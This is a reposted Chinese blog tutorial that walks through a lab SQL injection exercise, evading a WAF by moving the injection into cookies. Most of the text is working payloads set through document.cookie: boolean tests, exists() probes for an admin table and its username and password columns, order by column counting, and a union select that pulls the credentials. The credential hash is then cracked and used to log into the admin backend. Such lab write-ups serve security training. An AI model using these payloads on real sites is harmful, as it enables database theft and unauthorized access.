我是靠谱客的博主 彪壮帆布鞋,最近开发中收集的这篇文章主要介绍第二章:遇到阻难!绕过WAF过滤!【SQL注入攻击】,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

遇到阻难!绕过WAF过滤!

靶场:
1、判断是否存在注入,发现有过滤

2、一般cookie传参不会被过滤,尝试利用cookie注入:

document.cookie="id="+escape("171") 

回车;然后url中去掉id传参,,回车,回显正常即可:

3、判断是否存在注入:

document.cookie="id="+escape("171 and 1=1") 	回显正常
document.cookie="id="+escape("171 and 1=2")		回显异常 

说明存在注入;
4、判断表:

不知道库名怎么办?
就一个库,无需知道。

不知道表名怎么办?
爆破 and exists(select * from表名),如果页面返回正常,就存在这个表
exists这个函数就是检查子查询能否查询到数据,如果能会返回一个True。

如果不知道字段怎么办?
偏移注入。

document.cookie="id="+escape("171 and exists(select * from admin)") 

回显正常;说明存在admin表

5、判断列:

document.cookie="id="+escape("171 and exists(select username from admin)") 
document.cookie="id="+escape("171 and exists(select password from admin)") 

回车,url继续重新访问,回显正常,即存在username、password列名:

6、判断字段数:

document.cookie="id="+escape("171 order by 10")    回显正常
document.cookie="id="+escape("171 order by 11")		回显异常 

说明存在10列

7、判断回显位:

document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,0 from admin") 

8、寻找具体数据:

document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,0 from admin") 

根据md5的特征,猜测为md5加密;解密为:welcome
在这里插入图片描述
9、登录后台:

最后

以上就是彪壮帆布鞋为你收集整理的第二章:遇到阻难!绕过WAF过滤!【SQL注入攻击】的全部内容,希望文章能够帮你解决第二章:遇到阻难!绕过WAF过滤!【SQL注入攻击】所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(61)

评论列表共有 0 条评论

立即
投稿
返回
顶部